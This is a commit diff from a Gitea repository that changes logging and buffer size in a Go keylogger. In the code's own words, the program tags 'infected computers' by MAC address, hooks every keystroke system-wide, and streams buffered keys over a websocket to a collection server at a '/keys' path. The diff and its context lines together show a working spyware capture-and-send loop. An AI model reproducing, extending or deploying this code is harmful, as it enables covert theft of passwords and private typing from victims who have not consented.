🐛 Fixes logging and debugging
All checks were successful
Gitea Build Action / build (push) Successful in 14s
All checks were successful
Gitea Build Action / build (push) Successful in 14s
This commit is contained in:
@@ -2,9 +2,9 @@ package main
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/rand"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"math/rand"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
@@ -12,6 +12,7 @@ import (
|
||||
"time"
|
||||
|
||||
"github.com/gorilla/websocket"
|
||||
"github.com/labstack/gommon/log"
|
||||
hook "github.com/robotn/gohook"
|
||||
)
|
||||
|
||||
@@ -23,16 +24,10 @@ const (
|
||||
ENTER_KEYCHAR = 13
|
||||
REG_START = 32
|
||||
REG_END = 255
|
||||
|
||||
BUFF_SIZE = 16 // shouldn't be lower than 8 (because overflow might happen), shouldn't be higher than 128 (because the message frequency will be too low and data may be lost)
|
||||
)
|
||||
|
||||
var debug = false
|
||||
|
||||
func log(msg string, formats ...any) {
|
||||
if debug {
|
||||
fmt.Printf(msg, formats...)
|
||||
}
|
||||
}
|
||||
|
||||
// get mac address so we can differentiate between separate infected computers/clients
|
||||
func getId() []byte {
|
||||
interfaces, err := net.Interfaces()
|
||||
@@ -52,36 +47,43 @@ func getId() []byte {
|
||||
}
|
||||
|
||||
func main() {
|
||||
log.SetHeader("${time_rfc3339} ${level}")
|
||||
debugRaw := strings.ToLower(os.Getenv("DEBUG"))
|
||||
if debugRaw == "true" || debugRaw == "1" || debugRaw == "yes" {
|
||||
log.SetLevel(log.DEBUG)
|
||||
} else {
|
||||
log.SetLevel(log.WARN)
|
||||
}
|
||||
|
||||
id := getId()
|
||||
var resource = url.URL{Scheme: "ws", Host: "localhost:8080", Path: "/keys", RawQuery: fmt.Sprintf("id=%s", hex.EncodeToString(id))}
|
||||
debugRaw := strings.ToLower(os.Getenv("DEBUG"))
|
||||
debug = debugRaw == "true" || debugRaw == "1" || debugRaw == "yes"
|
||||
|
||||
|
||||
var conn *websocket.Conn
|
||||
var err error
|
||||
var tries = 0
|
||||
for {
|
||||
log("attempting to dial: %s\n", resource.String())
|
||||
log.Debugf("attempting to dial: %s", resource.String())
|
||||
conn, _, err = websocket.DefaultDialer.Dial(resource.String(), nil)
|
||||
if err != nil {
|
||||
log("dialing failed\n")
|
||||
log.Errorf("dialing failed")
|
||||
tries += 1
|
||||
if tries >= 3 {
|
||||
return
|
||||
}
|
||||
time.Sleep(time.Second)
|
||||
} else {
|
||||
log("dialing succesful\n")
|
||||
log.Infof("dialing succesful")
|
||||
break
|
||||
}
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
go func() {
|
||||
defer os.Exit(0)
|
||||
defer os.Exit(0) // if error occurs or conn is closed, exit the program
|
||||
for {
|
||||
kind, _, err := conn.ReadMessage()
|
||||
log("read message of kind %v\n", kind)
|
||||
log.Debugf("read message of kind %v", kind)
|
||||
if err != nil {
|
||||
return
|
||||
}
|
||||
@@ -93,10 +95,10 @@ func main() {
|
||||
|
||||
evChan := hook.Start()
|
||||
defer hook.End()
|
||||
buff := make([]byte, 64)
|
||||
buff := make([]byte, BUFF_SIZE * 2)
|
||||
|
||||
for ev := range evChan {
|
||||
log("received event: %d (%c)\n", ev.Rawcode, ev.Keychar)
|
||||
log.Debugf("received event: %d (%c)", ev.Rawcode, ev.Keychar)
|
||||
|
||||
switch ev.Rawcode {
|
||||
case SHIFT_RAWCODE:
|
||||
@@ -150,10 +152,10 @@ func main() {
|
||||
}
|
||||
}
|
||||
|
||||
if len(buff) >= 32 {
|
||||
log("writing buffer")
|
||||
conn.WriteMessage(websocket.TextMessage, buff[:32])
|
||||
buff = buff[32:]
|
||||
if len(buff) >= BUFF_SIZE {
|
||||
log.Debugf("writing buffer")
|
||||
conn.WriteMessage(websocket.TextMessage, buff[:BUFF_SIZE])
|
||||
buff = buff[BUFF_SIZE:]
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user